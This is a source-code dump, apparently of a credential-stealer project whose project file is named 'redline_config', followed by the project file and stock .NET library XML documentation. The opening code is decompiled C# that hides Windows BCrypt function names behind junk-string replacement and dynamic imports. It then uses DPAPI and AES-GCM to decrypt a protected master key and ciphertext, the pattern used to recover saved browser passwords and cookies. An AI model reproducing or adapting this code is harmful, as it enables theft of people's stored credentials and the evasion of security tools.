BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, int dwFlags) 34 | { 35 | return MemoryImport.Func(MemoryImport.GetProcAddress(this.irrpre, "BCrUnmanagedTypeyptDecrUnmanagedTypeypt".Replace("UnmanagedType", string.Empty)))(hKey, pbInput, cbInput, ref pPaddingInfo, pbIV, cbIV, pbOutput, cbOutput, ref pcbResult, dwFlags); 36 | } 37 | 38 | // Token: 0x06000018 RID: 24 RVA: 0x00003CB8 File Offset: 0x000020B8 39 | public uint D_4(IntPtr hKey) 40 | { 41 | return MemoryImport.Func(MemoryImport.GetProcAddress(this.irrpre, "BCrhKeyyptDeshKeytroyKhKeyey".Replace("hKey", string.Empty)))(hKey); 42 | } 43 | 44 | // Token: 0x06000019 RID: 25 RVA: 0x00003CF4 File Offset: 0x000020F4 45 | public uint D_5(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags) 46 | { 47 | return MemoryImport.Func(MemoryImport.GetProcAddress(this.irrpre, "BCpszPropertyryptGepszPropertytPropepszPropertyrty".Replace("pszProperty", string.Empty)))(hObject, pszProperty, pbOutput, cbOutput, ref pcbResult, flags); 48 | } 49 | 50 | // Token: 0x0600001A RID: 26 RVA: 0x00003D38 File Offset: 0x00002138 51 | public uint D_6(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags) 52 | { 53 | return MemoryImport.Func(MemoryImport.GetProcAddress(this.irrpre, "BCEncodingryptSEncodingetPrEncodingoperEncodingty".Replace("Encoding", string.Empty)))(hObject, pszProperty, pbInput, cbInput, dwFlags); 54 | } 55 | 56 | // Token: 0x0600001B RID: 27 RVA: 0x00003D7C File Offset: 0x0000217C 57 | public uint D_7(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, int cbInput, uint dwFlags) 58 | { 59 | return MemoryImport.Func(MemoryImport.GetProcAddress(this.irrpre, "BCrbMasterKeyyptImbMasterKeyportKbMasterKeyey".Replace("bMasterKey", string.Empty)))(hAlgorithm, hImportKey, pszBlobType, out phKey, pbKeyObject, cbKeyObject, pbInput, cbInput, dwFlags); 60 | } 61 | 62 | // Token: 0x0600001C RID: 28 RVA: 0x00003DC8 File Offset: 0x000021C8 63 | public static string Decrypt(byte[] bMasterKey, string chiperText) 64 | { 65 | Encoding encoding = Encoding.GetEncoding("windows-1251"); 66 | byte[] array = new byte[bMasterKey.Length - 5]; 67 | Array.Copy(bMasterKey, 5, array, 0, bMasterKey.Length - 5); 68 | byte[] bMasterKey2 = CryptoHelper.DecryptBlob(array, DataProtectionScope.CurrentUser, null); 69 | return encoding.GetString(IntРtr.Decrypt(encoding.GetBytes(chiperText), bMasterKey2)); 70 | } 71 | 72 | // Token: 0x0600001D RID: 29 RVA: 0x00003E1C File Offset: 0x0000221C 73 | private static byte[] Decrypt(byte[] bEncryptedData, byte[] bMasterKey) 74 | { 75 | byte[] array = new byte[] 76 | { 77 | 1, 78 | 2, 79 | 3, 80 | 4, 81 | 5, 82 | 6, 83 | 7, 84 | 8, 85 | 0, 86 | 0, 87 | 0, 88 | 0 89 | }; 90 | Array.Copy(bEncryptedData, 3, array, 0, 12); 91 | try 92 | { 93 | byte[] array2 = new byte[bEncryptedData.Length - 15]; 94 | Array.Copy(bEncryptedData, 15, array2, 0, bEncryptedData.Length - 15); 95 | byte[] array3 = new byte[16]; 96 | byte[] array4 = new byte[array2.Length - array3.Length]; 97 | Array.Copy(array2, array2.Length - 16, array3, 0, 16); 98 | Array.Copy(array2, 0, array4, 0, array2.Length - array3.Length); 99 | IntРtr intРtr = new IntРtr(); 100 | return intРtr.Get(bMasterKey, array, null, array4, array3); 101 | } 102 | catch (Exception ex) 103 | { 104 | } 105 | return null; 106 | } 107 | 108 | // Token: 0x0600001E RID: 30 RVA: 0x00003ED4 File Offset: 0x000022D4 109 | private byte[] Get(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) 110 | { 111 | IntPtr intPtr = this.OpenAlgorithmProvider("AES", "Microsoft Primitive Provider", "ChainingModeGCM"); 112 | IntPtr hKey; 113 | IntPtr hglobal = this.ImportKey(intPtr, key, out hKey); 114 | BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO bcrypt_AUTHENTICATED_CIPHER_MODE_INFO = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag); 115 | byte[] array2; 116 | using (bcrypt_AUTHENTICATED_CIPHER_MODE_INFO) 117 | { 118 | byte[] array = new byte[this.MaxAuthTagSize(intPtr)]; 119 | int num = 0; 120 | uint num2 = this.D_3(hKey, cipherText, cipherText.Length, ref bcrypt_AUTHENTICATED_CIPHER_MODE_INFO, array, array.Length, null, 0, ref num, 0); 121 | bool flag = num2 > 0U; 122 | if (flag) 123 | { 124 | throw new CryptographicException(); 125 | } 126 | array2 = new byte[num]; 127 | num2 = this.D_3(hKey, cipherText, cipherText.Length, ref bcrypt_AUTHENTICATED_CIPHER_MODE_INFO, array, array.Length, array2, array2.Length, ref num, 0); 128 | bool flag2 = num2 == 3221266434U; 129 | if (flag2) 130 | { 131 | throw new CryptographicException(); 132 | } 133 | bool flag3 = num2 > 0U; 134 | if (flag3) 135 | { 136 | throw new CryptographicException(); 137 | } 138 | } 139 | this.D_4(hKey); 140 | Marshal.FreeHGlobal(hglobal); 141 | this.D_2(intPtr, 0U); 142 | return array2; 143 | } 144 | 145 | // Token: 0x0600001F RID: 31 RVA: 0x00003FE0 File Offset: 0x000023E0 146 | private int MaxAuthTagSize(IntPtr hAlg) 147 | { 148 | byte[] property = this.GetProperty(hAlg, "AuthTagLength"); 149 | return BitConverter.ToInt32(new byte[] 150 | { 151 | property[4], 152 | property[5], 153 | property[6], 154 | property[7] 155 | }, 0); 156 | } 157 | 158 | // Token: 0x06000020 RID: 32 RVA: 0x00004024 File Offset: 0x00002424 159 | private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) 160 | { 161 | IntPtr zero = IntPtr.Zero; 162 | uint num = this.D_1(out zero, alg, provider, 0U); 163 | bool flag = num > 0U; 164 | if (flag) 165 | { 166 | throw new CryptographicException(); 167 | } 168 | byte[] bytes = Encoding.Unicode.GetBytes(chainingMode); 169 | num = this.D_6(zero, "ChainingMode", bytes, bytes.Length, 0); 170 | bool flag2 = num > 0U; 171 | if (flag2) 172 | { 173 | throw new CryptographicException(); 174 | } 175 | return zero; 176 | } 177 | 178 | // Token: 0x06000021 RID: 33 RVA: 0x00004088 File Offset: 0x00002488 179 | private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) 180 | { 181 | byte[] property = this.GetProperty(hAlg, "ObjectLength"); 182 | int num = BitConverter.ToInt32(property, 0); 183 | IntPtr intPtr = Marshal.AllocHGlobal(num); 184 | byte[] array = this.Concat(new byte[][] 185 | { 186 | BitConverter.GetBytes(1296188491), 187 | BitConverter.GetBytes(1), 188 | BitConverter.GetBytes(key.Length), 189 | key 190 | }); 191 | uint num2 = this.D_7(hAlg, IntPtr.Zero, "KeyDataBlob", out hKey, intPtr, num, array, array.Length, 0U); 192 | bool flag = num2 > 0U; 193 | if (flag) 194 | { 195 | throw new CryptographicException(); 196 | } 197 | return intPtr; 198 | } 199 | 200 | // Token: 0x06000022 RID: 34 RVA: 0x00004118 File Offset: 0x00002518 201 | private byte[] GetProperty(IntPtr hAlg, string name) 202 | { 203 | int num = 0; 204 | uint num2 = this.D_5(hAlg, name, null, 0, ref num, 0U); 205 | bool flag = num2 > 0U; 206 | if (flag) 207 | { 208 | throw new CryptographicException(); 209 | } 210 | byte[] array = new byte[num]; 211 | num2 = this.D_5(hAlg, name, array, array.Length, ref num, 0U); 212 | bool flag2 = num2 > 0U; 213 | if (flag2) 214 | { 215 | throw new CryptographicException(); 216 | } 217 | return array; 218 | } 219 | 220 | // Token: 0x06000023 RID: 35 RVA: 0x00004174 File Offset: 0x00002574 221 | public byte[] Concat(params byte[][] arrays) 222 | { 223 | int num = 0; 224 | foreach (byte[] array in arrays) 225 | { 226 | bool flag = array == null; 227 | if (!flag) 228 | { 229 | num += array.Length; 230 | } 231 | } 232 | byte[] array2 = new byte[num - 1 + 1]; 233 | int num2 = 0; 234 | foreach (byte[] array3 in arrays) 235 | { 236 | bool flag2 = array3 == null; 237 | if (!flag2) 238 | { 239 | Buffer.BlockCopy(array3, 0, array2, num2, array3.Length); 240 | num2 += array3.Length; 241 | } 242 | } 243 | return array2; 244 | } 245 | 246 | // Token: 0x02000046 RID: 70 247 | // (Invoke) Token: 0x060001C9 RID: 457 248 | private delegate uint m1(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); 249 | 250 | // Token: 0x02000047 RID: 71 251 | // (Invoke) Token: 0x060001CD RID: 461 252 | private delegate uint m2(IntPtr hAlgorithm, uint flags); 253 | 254 | // Token: 0x02000048 RID: 72 255 | // (Invoke) Token: 0x060001D1 RID: 465 256 | private delegate uint D3(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); 257 | 258 | // Token: 0x02000049 RID: 73 259 | // (Invoke) Token: 0x060001D5 RID: 469 260 | private delegate uint D4(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); 261 | 262 | // Token: 0x0200004A RID: 74 263 | // (Invoke) Token: 0x060001D9 RID: 473 264 | private delegate uint D5(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, int cbInput, uint dwFlags); 265 | 266 | // Token: 0x0200004B RID: 75 267 | // (Invoke) Token: 0x060001DD RID: 477 268 | private delegate uint D6(IntPtr hKey); 269 | 270 | // Token: 0x0200004C RID: 76 271 | // (Invoke) Token: 0x060001E1 RID: 481 272 | private delegate uint D7(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, int dwFlags); 273 | } 274 | -------------------------------------------------------------------------------- /Discoed/redline_config.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | x86 6 | {FE22E234-02C4-4BB9-B77B-647DBAC970F3} 7 | Exe 8 | Properties 9 | redline_config 10 | redline_config 11 | v4.8 12 | 1024 13 | {60DC8134-EBA5-43B8-BCC9-BB4BC16C2548};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} 14 | app.manifest 15 | Discoed.ico 16 | Program 17 | 18 | 19 | 20 | 21 | 22 | x86 23 | true 24 | full 25 | false 26 | bin\Debug\ 27 | DEBUG;TRACE 28 | prompt 29 | 4 30 | true 31 | false 32 | 33 | 34 | x86 35 | pdbonly 36 | true 37 | bin\Release\ 38 | TRACE 39 | prompt 40 | 4 41 | true 42 | false 43 | 44 | 45 | 46 | ..\packages\Microsoft.Bcl.AsyncInterfaces.6.0.0\lib\net461\Microsoft.Bcl.AsyncInterfaces.dll 47 | 48 | 49 | 50 | ..\packages\Newtonsoft.Json.13.0.2\lib\net45\Newtonsoft.Json.dll 51 | 52 | 53 | 54 | 55 | ..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll 56 | 57 | 58 | 59 | 60 | ..\packages\System.Diagnostics.DiagnosticSource.5.0.1\lib\net46\System.Diagnostics.DiagnosticSource.dll 61 | 62 | 63 | 64 | 65 | ..\packages\System.IO.4.3.0\lib\net462\System.IO.dll 66 | True 67 | True 68 | 69 | 70 | 71 | ..\packages\System.Memory.4.5.4\lib\net461\System.Memory.dll 72 | 73 | 74 | ..\packages\System.Net.Http.4.3.4\lib\net46\System.Net.Http.dll 75 | True 76 | True 77 | 78 | 79 | 80 | ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll 81 | 82 | 83 | ..\packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll 84 | True 85 | True 86 | 87 | 88 | ..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll 89 | 90 | 91 | 92 | 93 | ..\packages\System.Security.Cryptography.Algorithms.4.3.0\lib\net463\System.Security.Cryptography.Algorithms.dll 94 | True 95 | True 96 | 97 | 98 | ..\packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll 99 | True 100 | True 101 | 102 | 103 | ..\packages\System.Security.Cryptography.Primitives.4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll 104 | True 105 | True 106 | 107 | 108 | ..\packages\System.Security.Cryptography.X509Certificates.4.3.0\lib\net461\System.Security.Cryptography.X509Certificates.dll 109 | True 110 | True 111 | 112 | 113 | 114 | ..\packages\System.Text.Encodings.Web.6.0.0\lib\net461\System.Text.Encodings.Web.dll 115 | 116 | 117 | ..\packages\System.Text.Json.6.0.0\lib\net461\System.Text.Json.dll 118 | 119 | 120 | ..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll 121 | 122 | 123 | ..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | Dieses Projekt verweist auf mindestens ein NuGet-Paket, das auf diesem Computer fehlt. Verwenden Sie die Wiederherstellung von NuGet-Paketen, um die fehlenden Dateien herunterzuladen. Weitere Informationen finden Sie unter "http://go.microsoft.com/fwlink/?LinkID=322105". Die fehlende Datei ist "{0}". 196 | 197 | 198 | 199 | -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Memory.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | System.Memory 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | -------------------------------------------------------------------------------- /Discoed/bin/Debug/Microsoft.Bcl.AsyncInterfaces.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Microsoft.Bcl.AsyncInterfaces 5 | 6 | 7 | 8 | Provides the core logic for implementing a manual-reset or . 9 | 10 | 11 | 12 | 13 | The callback to invoke when the operation completes if was called before the operation completed, 14 | or if the operation completed before a callback was supplied, 15 | or null if a callback hasn't yet been provided and the operation hasn't yet completed. 16 | 17 | 18 | 19 | State to pass to . 20 | 21 | 22 | to flow to the callback, or null if no flowing is required. 23 | 24 | 25 | 26 | A "captured" or with which to invoke the callback, 27 | or null if no special context is required. 28 | 29 | 30 | 31 | Whether the current operation has completed. 32 | 33 | 34 | The result with which the operation succeeded, or the default value if it hasn't yet completed or failed. 35 | 36 | 37 | The exception with which the operation failed, or null if it hasn't yet completed or completed successfully. 38 | 39 | 40 | The current version of this value, used to help prevent misuse. 41 | 42 | 43 | Gets or sets whether to force continuations to run asynchronously. 44 | Continuations may run asynchronously if this is false, but they'll never run synchronously if this is true. 45 | 46 | 47 | Resets to prepare for the next operation. 48 | 49 | 50 | Completes with a successful result. 51 | The result. 52 | 53 | 54 | Complets with an error. 55 | 56 | 57 | 58 | Gets the operation version. 59 | 60 | 61 | Gets the status of the operation. 62 | Opaque value that was provided to the 's constructor. 63 | 64 | 65 | Gets the result of the operation. 66 | Opaque value that was provided to the 's constructor. 67 | 68 | 69 | Schedules the continuation action for this operation. 70 | The continuation to invoke when the operation has completed. 71 | The state object to pass to when it's invoked. 72 | Opaque value that was provided to the 's constructor. 73 | The flags describing the behavior of the continuation. 74 | 75 | 76 | Ensures that the specified token matches the current version. 77 | The token supplied by . 78 | 79 | 80 | Signals that the operation has completed. Invoked after the result or error has been set. 81 | 82 | 83 | 84 | Invokes the continuation with the appropriate captured context / scheduler. 85 | This assumes that if is not null we're already 86 | running within that . 87 | 88 | 89 | 90 | Provides a set of static methods for configuring -related behaviors on asynchronous enumerables and disposables. 91 | 92 | 93 | Configures how awaits on the tasks returned from an async disposable will be performed. 94 | The source async disposable. 95 | Whether to capture and marshal back to the current context. 96 | The configured async disposable. 97 | 98 | 99 | Configures how awaits on the tasks returned from an async iteration will be performed. 100 | The type of the objects being iterated. 101 | The source enumerable being iterated. 102 | Whether to capture and marshal back to the current context. 103 | The configured enumerable. 104 | 105 | 106 | Sets the to be passed to when iterating. 107 | The type of the objects being iterated. 108 | The source enumerable being iterated. 109 | The to use. 110 | The configured enumerable. 111 | 112 | 113 | Represents a builder for asynchronous iterators. 114 | 115 | 116 | Creates an instance of the struct. 117 | The initialized instance. 118 | 119 | 120 | Invokes on the state machine while guarding the . 121 | The type of the state machine. 122 | The state machine instance, passed by reference. 123 | 124 | 125 | Schedules the state machine to proceed to the next action when the specified awaiter completes. 126 | The type of the awaiter. 127 | The type of the state machine. 128 | The awaiter. 129 | The state machine. 130 | 131 | 132 | Schedules the state machine to proceed to the next action when the specified awaiter completes. 133 | The type of the awaiter. 134 | The type of the state machine. 135 | The awaiter. 136 | The state machine. 137 | 138 | 139 | Marks iteration as being completed, whether successfully or otherwise. 140 | 141 | 142 | Gets an object that may be used to uniquely identify this builder to the debugger. 143 | 144 | 145 | Indicates whether a method is an asynchronous iterator. 146 | 147 | 148 | Initializes a new instance of the class. 149 | The type object for the underlying state machine type that's used to implement a state machine method. 150 | 151 | 152 | Provides a type that can be used to configure how awaits on an are performed. 153 | 154 | 155 | Provides an awaitable async enumerable that enables cancelable iteration and configured awaits. 156 | 157 | 158 | Configures how awaits on the tasks returned from an async iteration will be performed. 159 | Whether to capture and marshal back to the current context. 160 | The configured enumerable. 161 | This will replace any previous value set by for this iteration. 162 | 163 | 164 | Sets the to be passed to when iterating. 165 | The to use. 166 | The configured enumerable. 167 | This will replace any previous set by for this iteration. 168 | 169 | 170 | Provides an awaitable async enumerator that enables cancelable iteration and configured awaits. 171 | 172 | 173 | Advances the enumerator asynchronously to the next element of the collection. 174 | 175 | A that will complete with a result of true 176 | if the enumerator was successfully advanced to the next element, or false if the enumerator has 177 | passed the end of the collection. 178 | 179 | 180 | 181 | Gets the element in the collection at the current position of the enumerator. 182 | 183 | 184 | 185 | Performs application-defined tasks associated with freeing, releasing, or 186 | resetting unmanaged resources asynchronously. 187 | 188 | 189 | 190 | Exposes an enumerator that provides asynchronous iteration over values of a specified type. 191 | The type of values to enumerate. 192 | 193 | 194 | Returns an enumerator that iterates asynchronously through the collection. 195 | A that may be used to cancel the asynchronous iteration. 196 | An enumerator that can be used to iterate asynchronously through the collection. 197 | 198 | 199 | Supports a simple asynchronous iteration over a generic collection. 200 | The type of objects to enumerate. 201 | 202 | 203 | Advances the enumerator asynchronously to the next element of the collection. 204 | 205 | A that will complete with a result of true if the enumerator 206 | was successfully advanced to the next element, or false if the enumerator has passed the end 207 | of the collection. 208 | 209 | 210 | 211 | Gets the element in the collection at the current position of the enumerator. 212 | 213 | 214 | Provides a mechanism for releasing unmanaged resources asynchronously. 215 | 216 | 217 | 218 | Performs application-defined tasks associated with freeing, releasing, or 219 | resetting unmanaged resources asynchronously. 220 | 221 | 222 | 223 | 224 | -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Runtime.CompilerServices.Unsafe.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | System.Runtime.CompilerServices.Unsafe 5 | 6 | 7 | 8 | Contains generic, low-level functionality for manipulating pointers. 9 | 10 | 11 | Adds an element offset to the given reference. 12 | The reference to add the offset to. 13 | The offset to add. 14 | The type of reference. 15 | A new reference that reflects the addition of offset to pointer. 16 | 17 | 18 | Adds an element offset to the given reference. 19 | The reference to add the offset to. 20 | The offset to add. 21 | The type of reference. 22 | A new reference that reflects the addition of offset to pointer. 23 | 24 | 25 | Adds an element offset to the given reference. 26 | The reference to add the offset to. 27 | The offset to add. 28 | The type of reference. 29 | A new reference that reflects the addition of offset to pointer. 30 | 31 | 32 | Adds an element offset to the given void pointer. 33 | The void pointer to add the offset to. 34 | The offset to add. 35 | The type of void pointer. 36 | A new void pointer that reflects the addition of offset to the specified pointer. 37 | 38 | 39 | Adds a byte offset to the given reference. 40 | The reference to add the offset to. 41 | The offset to add. 42 | The type of reference. 43 | A new reference that reflects the addition of byte offset to pointer. 44 | 45 | 46 | Adds a byte offset to the given reference. 47 | The reference to add the offset to. 48 | The offset to add. 49 | The type of reference. 50 | A new reference that reflects the addition of byte offset to pointer. 51 | 52 | 53 | Determines whether the specified references point to the same location. 54 | The first reference to compare. 55 | The second reference to compare. 56 | The type of reference. 57 | 58 | if and point to the same location; otherwise, . 59 | 60 | 61 | Casts the given object to the specified type. 62 | The object to cast. 63 | The type which the object will be cast to. 64 | The original object, casted to the given type. 65 | 66 | 67 | Reinterprets the given reference as a reference to a value of type . 68 | The reference to reinterpret. 69 | The type of reference to reinterpret. 70 | The desired type of the reference. 71 | A reference to a value of type . 72 | 73 | 74 | Returns a pointer to the given by-ref parameter. 75 | The object whose pointer is obtained. 76 | The type of object. 77 | A pointer to the given value. 78 | 79 | 80 | Reinterprets the given read-only reference as a reference. 81 | The read-only reference to reinterpret. 82 | The type of reference. 83 | A reference to a value of type . 84 | 85 | 86 | Reinterprets the given location as a reference to a value of type . 87 | The location of the value to reference. 88 | The type of the interpreted location. 89 | A reference to a value of type . 90 | 91 | 92 | Determines the byte offset from origin to target from the given references. 93 | The reference to origin. 94 | The reference to target. 95 | The type of reference. 96 | Byte offset from origin to target i.e. - . 97 | 98 | 99 | Copies a value of type to the given location. 100 | The location to copy to. 101 | A pointer to the value to copy. 102 | The type of value to copy. 103 | 104 | 105 | Copies a value of type to the given location. 106 | The location to copy to. 107 | A reference to the value to copy. 108 | The type of value to copy. 109 | 110 | 111 | Copies bytes from the source address to the destination address. 112 | The destination address to copy to. 113 | The source address to copy from. 114 | The number of bytes to copy. 115 | 116 | 117 | Copies bytes from the source address to the destination address. 118 | The destination address to copy to. 119 | The source address to copy from. 120 | The number of bytes to copy. 121 | 122 | 123 | Copies bytes from the source address to the destination address without assuming architecture dependent alignment of the addresses. 124 | The destination address to copy to. 125 | The source address to copy from. 126 | The number of bytes to copy. 127 | 128 | 129 | Copies bytes from the source address to the destination address without assuming architecture dependent alignment of the addresses. 130 | The destination address to copy to. 131 | The source address to copy from. 132 | The number of bytes to copy. 133 | 134 | 135 | Initializes a block of memory at the given location with a given initial value. 136 | The address of the start of the memory block to initialize. 137 | The value to initialize the block to. 138 | The number of bytes to initialize. 139 | 140 | 141 | Initializes a block of memory at the given location with a given initial value. 142 | The address of the start of the memory block to initialize. 143 | The value to initialize the block to. 144 | The number of bytes to initialize. 145 | 146 | 147 | Initializes a block of memory at the given location with a given initial value without assuming architecture dependent alignment of the address. 148 | The address of the start of the memory block to initialize. 149 | The value to initialize the block to. 150 | The number of bytes to initialize. 151 | 152 | 153 | Initializes a block of memory at the given location with a given initial value without assuming architecture dependent alignment of the address. 154 | The address of the start of the memory block to initialize. 155 | The value to initialize the block to. 156 | The number of bytes to initialize. 157 | 158 | 159 | Returns a value that indicates whether a specified reference is greater than another specified reference. 160 | The first value to compare. 161 | The second value to compare. 162 | The type of the reference. 163 | 164 | if is greater than ; otherwise, . 165 | 166 | 167 | Returns a value that indicates whether a specified reference is less than another specified reference. 168 | The first value to compare. 169 | The second value to compare. 170 | The type of the reference. 171 | 172 | if is less than ; otherwise, . 173 | 174 | 175 | Determines if a given reference to a value of type is a null reference. 176 | The reference to check. 177 | The type of the reference. 178 | 179 | if is a null reference; otherwise, . 180 | 181 | 182 | Returns a reference to a value of type that is a null reference. 183 | The type of the reference. 184 | A reference to a value of type that is a null reference. 185 | 186 | 187 | Reads a value of type from the given location. 188 | The location to read from. 189 | The type to read. 190 | An object of type read from the given location. 191 | 192 | 193 | Reads a value of type from the given location without assuming architecture dependent alignment of the addresses. 194 | The location to read from. 195 | The type to read. 196 | An object of type read from the given location. 197 | 198 | 199 | Reads a value of type from the given location without assuming architecture dependent alignment of the addresses. 200 | The location to read from. 201 | The type to read. 202 | An object of type read from the given location. 203 | 204 | 205 | Returns the size of an object of the given type parameter. 206 | The type of object whose size is retrieved. 207 | The size of an object of type . 208 | 209 | 210 | Bypasses definite assignment rules for a given value. 211 | The uninitialized object. 212 | The type of the uninitialized object. 213 | 214 | 215 | Subtracts an element offset from the given reference. 216 | The reference to subtract the offset from. 217 | The offset to subtract. 218 | The type of reference. 219 | A new reference that reflects the subtraction of offset from pointer. 220 | 221 | 222 | Subtracts an element offset from the given reference. 223 | The reference to subtract the offset from. 224 | The offset to subtract. 225 | The type of reference. 226 | A new reference that reflects the subtraction of offset from pointer. 227 | 228 | 229 | Subtracts an element offset from the given reference. 230 | The reference to subtract the offset from. 231 | The offset to subtract. 232 | The type of reference. 233 | A new reference that reflects the subraction of offset from pointer. 234 | 235 | 236 | Subtracts an element offset from the given void pointer. 237 | The void pointer to subtract the offset from. 238 | The offset to subtract. 239 | The type of the void pointer. 240 | A new void pointer that reflects the subtraction of offset from the specified pointer. 241 | 242 | 243 | Subtracts a byte offset from the given reference. 244 | The reference to subtract the offset from. 245 | The offset to subtract. 246 | The type of reference. 247 | A new reference that reflects the subtraction of byte offset from pointer. 248 | 249 | 250 | Subtracts a byte offset from the given reference. 251 | The reference to subtract the offset from. 252 | The offset to subtract. 253 | The type of reference. 254 | A new reference that reflects the subraction of byte offset from pointer. 255 | 256 | 257 | Returns a to a boxed value. 258 | The value to unbox. 259 | The type to be unboxed. 260 | 261 | is , and is a non-nullable value type. 262 | 263 | is not a boxed value type. 264 | 265 | -or- 266 | 267 | is not a boxed . 268 | 269 | cannot be found. 270 | A to the boxed value . 271 | 272 | 273 | Writes a value of type to the given location. 274 | The location to write to. 275 | The value to write. 276 | The type of value to write. 277 | 278 | 279 | Writes a value of type to the given location without assuming architecture dependent alignment of the addresses. 280 | The location to write to. 281 | The value to write. 282 | The type of value to write. 283 | 284 | 285 | Writes a value of type to the given location without assuming architecture dependent alignment of the addresses. 286 | The location to write to. 287 | The value to write. 288 | The type of value to write. 289 | 290 | 291 | --------------------------------------------------------------------------------